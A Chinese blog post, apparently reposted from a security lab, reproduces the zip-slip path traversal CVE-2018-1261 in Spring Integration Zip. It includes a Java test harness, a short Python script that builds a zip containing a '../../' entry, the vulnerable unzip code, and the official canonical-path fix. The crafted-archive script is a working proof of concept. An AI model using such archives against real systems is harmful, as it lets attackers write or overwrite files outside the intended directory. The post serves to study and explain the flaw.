zoukankan      html  css  js  c++  java
  • Spring Integration Zip不安全解压(CVE-2018-1261)漏洞复现

    不敢说分析,还是太菜了,多学习。

    文章来源: 猎户安全实验室

    存在漏洞的源码下载地址:https://github.com/spring-projects/spring-integration-extensions/releases/tag/zip.v1.0.0.RELEASE

    代码下载两眼相望了好久,第一次弄这些东西,踩了好久的坑,边踩边学习。

    用的是IDEA来复现: 终端打开到zip的文件夹,然后./gradlew idea 。直接就能直接用IDEA打开了。

    漏洞地址:org/springframework/integration/zip/transformer/UnZipTransformerTests.java

    这里的都是官方例子。

    仿造官方例子写个测试类。

    	@Test
    	public void unzipCve() throws IOException, InterruptedException {
    
    		final Resource resource = this.resourceLoader.getResource("classpath:testzipdata/test1.zip");
    		final InputStream upZipFile = resource.getInputStream();
    		UnZipTransformer unZipTransformer = new UnZipTransformer();
    		unZipTransformer.setWorkDirectory(new File("/Users/yangxiaodi/java/CVE-2018-1261/spring-integration-extensions-zip.v1.0.0.RELEASE/spring-integration-zip/src/test/resources/testzipdata/"));
    		unZipTransformer.setZipResultType(ZipResultType.FILE);//设置类型(FILE, BYTE_ARRAY)
    		unZipTransformer.afterPropertiesSet();
    
    		Message<InputStream> message = MessageBuilder.withPayload(upZipFile).build();
    
    		unZipTransformer.transform(message);//漏洞入口。
    		System.out.println("over");
    	}
    
    }
    

      

    这里的zip解压要用 到../../../z.txt格式的压缩文件,用python脚本生成一个。

    import zipfile
    
    if __name__ == "__main__":
        try:
            binary = b'ddddsss'
            zipFile = zipfile.ZipFile("test1.zip", "a", zipfile.ZIP_DEFLATED)
            info = zipfile.ZipInfo("test1.zip")
            zipFile.writestr("../../dddwwtest.txt", binary)
            zipFile.close()
        except IOError as e:
            raise e
    

      

    东西都准备妥当了,开始分析漏洞吧。

    漏洞入口:

    unZipTransformer.transform(message);

    接着调用org/springframework/integration/zip/transformer/AbstractZipTransformer.java 下的doTransform()函数。

    	@Override
    	protected Object doTransform(Message<?> message) throws Exception {
    		Assert.notNull(message, "message must not be null");
    		final Object payload = message.getPayload();
    		Assert.notNull(payload, "payload must not be null");
    
    		return doZipTransform(message);//往下调用doZipTransform函数
    	}
    

      

    在调用org/springframework/integration/zip/transformer/UnZipTransformer.java 下的doZipTransform() 函数。

    漏洞就出现在doZipTransform()函数。具体代码位置:

    				ZipUtil.iterate(inputStream, new ZipEntryCallback() {//漏洞没过滤的地方
    
    					@Override
    					public void process(InputStream zipEntryInputStream, ZipEntry zipEntry) throws IOException {
    
    						final String zipEntryName = zipEntry.getName();
    						final long zipEntryTime = zipEntry.getTime();
    						final long zipEntryCompressedSize = zipEntry.getCompressedSize();
    						final String type = zipEntry.isDirectory() ? "directory" : "file";
    
    						if (logger.isInfoEnabled()) {
    							logger.info(String.format("Unpacking Zip Entry - Name: '%s',Time: '%s', " +
    									"Compressed Size: '%s', Type: '%s'",
    									zipEntryName, zipEntryTime, zipEntryCompressedSize, type));
    						}
    
    						if (ZipResultType.FILE.equals(zipResultType)) {
    							final File tempDir = new File(workDirectory, message.getHeaders().getId().toString());
    							tempDir.mkdirs(); //NOSONAR false positive,创建文件夹
    							final File destinationFile = new File(tempDir, zipEntryName);
    
    							if (zipEntry.isDirectory()) {
    								destinationFile.mkdirs(); //NOSONAR false positive
    							}
    							else {
    								SpringZipUtils.copy(zipEntryInputStream, destinationFile);
    								uncompressedData.put(zipEntryName, destinationFile);
    							}
    						}
    						else if (ZipResultType.BYTE_ARRAY.equals(zipResultType)) {
    							if (!zipEntry.isDirectory()) {
    								byte[] data = IOUtils.toByteArray(zipEntryInputStream);
    								uncompressedData.put(zipEntryName, data);
    							}
    						}
    						else {
    							throw new IllegalStateException("Unsupported zipResultType " + zipResultType);
    						}
    					}
    

      

    调用ZipUtil.iterate()函数,然后利用回调函数ZipEntryCallback()去处理解压出来的内容。

    这里的final String zipEntryName = zipEntry.getName();  //就是解压出来的文件内容,

    在final File destinationFile = new File(tempDir, zipEntryName); //这里没任何过滤就进行文件路径和文件名的拼接。

    然后下面两句代码把文件给复制过去。

    SpringZipUtils.copy(zipEntryInputStream, destinationFile);
    uncompressedData.put(zipEntryName, destinationFile);

    这里有个坑,就是../../../z.txt 的文件,不能存在未创建的文件夹路径,例如:   ../../zzz/z.txt ,在zzz文件夹不存在的情况下,会报错。

    这里来看下他们官方的漏洞修复,增加了一个路径检测函数。官方地址

    					public File checkPath(final Message<?> message, final String zipEntryName) throws IOException {
    						final File tempDir = new File(workDirectory, message.getHeaders().getId().toString());
    						tempDir.mkdirs(); //NOSONAR false positive
    						final File destinationFile = new File(tempDir, zipEntryName);
    
    						/* If we see the relative traversal string of ".." we need to make sure
    						 * that the outputdir + name doesn't leave the outputdir.
    						 */
    						if (!destinationFile.getCanonicalPath().startsWith(workDirectory.getCanonicalPath())) {
    							throw new ZipException("The file " + zipEntryName +
    									" is trying to leave the target output directory of " + workDirectory);
    						}
    						return destinationFile;
    					}
    

      

    主要看这句话:

    if (!destinationFile.getCanonicalPath().startsWith(workDirectory.getCanonicalPath()))

    如果destinationFile.getCanonicalPath() 也就是当前的全文件路径,例如: /etc/s/../passwd ,会变成/etc/passwd ,

    全文件路径中 开头不包含workDirectory.getCanonicalPath() 的路径,就报错。 例如:/etc/s/  ,而workDirectory是定义的路径。

    综上就是路径不能往前跳转。

    这种路径检测方法还是学到了,本以为会过滤“..” 这样的字符串,直接对比两次的路径也是个好方法

  • 相关阅读:
    [转载]使用消息队列实现分布式事务-公认较为理想的分布式事务解决方案
    【异常】Error: ERROR 1012 (42M03): Table undefined. (state=42M03,code=1012)
    hbase极度不稳定问题,经常的RIT问题
    ERROR: Version file does not exist in root dir hdfs://XXXXXXX:8020/tmp/hbase-hbase/hbase
    su无法切换一个普通用户hbase
    配置了ssh免密登录,仍然需要输入密码
    异常-Phoenix HBASE Last region should end with an empty key. You need to create a new region and regioninfo in HDFS to plug the hole
    Hbase Region in transition问题解决
    异常-Maxwell无法全量同步触发
    异常-No suppression parameter found for notification
  • 原文地址:https://www.cnblogs.com/yangxiaodi/p/9036916.html
Copyright © 2011-2022 走看看